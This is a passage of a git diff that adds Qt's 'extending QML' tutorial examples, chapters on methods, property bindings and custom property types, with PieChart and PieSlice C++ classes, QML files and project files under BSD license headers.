+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import Charts 1.0
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ PieChart {
+ id: aPieChart
+ anchors.centerIn: parent
+ width: 100; height: 100
+ color: "red"
+
+ onChartCleared: console.log("The chart has been cleared")
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: aPieChart.clearChart()
+ }
+
+ Text {
+ anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 }
+ text: "Click anywhere to clear the chart"
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter2-methods/chapter2-methods.pro b/examples/declarative/tutorials/extending/chapter2-methods/chapter2-methods.pro
new file mode 100644
index 00000000..0f041671
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter2-methods/chapter2-methods.pro
@@ -0,0 +1,5 @@
+QT += declarative
+
+HEADERS += piechart.h
+SOURCES += piechart.cpp \
+ main.cpp
diff --git a/examples/declarative/tutorials/extending/chapter2-methods/main.cpp b/examples/declarative/tutorials/extending/chapter2-methods/main.cpp
new file mode 100644
index 00000000..9c392db0
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter2-methods/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include "piechart.h"
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("app.qml"));
+ view.show();
+ return app.exec();
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter2-methods/piechart.cpp b/examples/declarative/tutorials/extending/chapter2-methods/piechart.cpp
new file mode 100644
index 00000000..7a0535e1
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter2-methods/piechart.cpp
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include <QPainter>
+#include <QDebug>
+
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+QColor PieChart::color() const
+{
+ return m_color;
+}
+
+void PieChart::setColor(const QColor &color)
+{
+ m_color = color;
+}
+
+void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), 90 * 16, 290 * 16);
+}
+
+//![0]
+void PieChart::clearChart()
+{
+ setColor(QColor(Qt::transparent));
+ update();
+
+ emit chartCleared();
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter2-methods/piechart.h b/examples/declarative/tutorials/extending/chapter2-methods/piechart.h
new file mode 100644
index 00000000..5f58d132
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter2-methods/piechart.h
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+#include <QDeclarativeItem>
+#include <QColor>
+
+//![0]
+class PieChart : public QDeclarativeItem
+{
+//![0]
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+
+//![1]
+public:
+//![1]
+
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+//![2]
+ Q_INVOKABLE void clearChart();
+
+signals:
+ void chartCleared();
+//![2]
+
+private:
+ QString m_name;
+ QColor m_color;
+
+//![3]
+};
+//![3]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter3-bindings/app.qml b/examples/declarative/tutorials/extending/chapter3-bindings/app.qml
new file mode 100644
index 00000000..2a7fcfc4
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter3-bindings/app.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import Charts 1.0
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ Row {
+ anchors.centerIn: parent
+ spacing: 20
+
+ PieChart {
+ id: chartA
+ width: 100; height: 100
+ color: "red"
+ }
+
+ PieChart {
+ id: chartB
+ width: 100; height: 100
+ color: chartA.color
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { chartA.color = "blue" }
+ }
+
+ Text {
+ anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 }
+ text: "Click anywhere to change the chart color"
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter3-bindings/chapter3-bindings.pro b/examples/declarative/tutorials/extending/chapter3-bindings/chapter3-bindings.pro
new file mode 100644
index 00000000..0f041671
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter3-bindings/chapter3-bindings.pro
@@ -0,0 +1,5 @@
+QT += declarative
+
+HEADERS += piechart.h
+SOURCES += piechart.cpp \
+ main.cpp
diff --git a/examples/declarative/tutorials/extending/chapter3-bindings/main.cpp b/examples/declarative/tutorials/extending/chapter3-bindings/main.cpp
new file mode 100644
index 00000000..9c392db0
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter3-bindings/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include "piechart.h"
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("app.qml"));
+ view.show();
+ return app.exec();
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter3-bindings/piechart.cpp b/examples/declarative/tutorials/extending/chapter3-bindings/piechart.cpp
new file mode 100644
index 00000000..72561511
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter3-bindings/piechart.cpp
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include <QPainter>
+#include <QDebug>
+
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+QColor PieChart::color() const
+{
+ return m_color;
+}
+
+//![0]
+void PieChart::setColor(const QColor &color)
+{
+ if (color != m_color) {
+ m_color = color;
+ update(); // repaint with the new color
+ emit colorChanged();
+ }
+}
+//![0]
+
+void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), 90 * 16, 290 * 16);
+}
+
+void PieChart::clearChart()
+{
+ setColor(QColor(Qt::transparent));
+ update();
+}
diff --git a/examples/declarative/tutorials/extending/chapter3-bindings/piechart.h b/examples/declarative/tutorials/extending/chapter3-bindings/piechart.h
new file mode 100644
index 00000000..104f9317
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter3-bindings/piechart.h
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+#include <QDeclarativeItem>
+#include <QColor>
+
+//![0]
+class PieChart : public QDeclarativeItem
+{
+//![0]
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+
+//![1]
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
+public:
+//![1]
+
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+ Q_INVOKABLE void clearChart();
+
+//![2]
+signals:
+ void colorChanged();
+//![2]
+
+private:
+ QString m_name;
+ QColor m_color;
+
+//![3]
+};
+//![3]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml
new file mode 100644
index 00000000..e8ffaeae
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import Charts 1.0
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ PieChart {
+ id: chart
+ anchors.centerIn: parent
+ width: 100; height: 100
+
+ pieSlice: PieSlice {
+ anchors.fill: parent
+ color: "red"
+ }
+ }
+
+ Component.onCompleted: console.log("The pie is colored " + chart.pieSlice.color)
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro
new file mode 100644
index 00000000..c3f5402a
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro
@@ -0,0 +1,7 @@
+QT += declarative
+
+HEADERS += piechart.h \
+ pieslice.h
+SOURCES += piechart.cpp \
+ pieslice.cpp \
+ main.cpp
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp
new file mode 100644
index 00000000..49f8673c
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include "pieslice.h"
+
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+//![0]
+int main(int argc, char *argv[])
+{
+//![0]
+ QApplication app(argc, argv);
+
+ qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+
+//![1]
+ qmlRegisterType<PieSlice>("Charts", 1, 0, "PieSlice");
+//![1]
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("app.qml"));
+ view.show();
+ return app.exec();
+
+//![2]
+}
+//![2]
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp
new file mode 100644
index 00000000..e26136e1
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
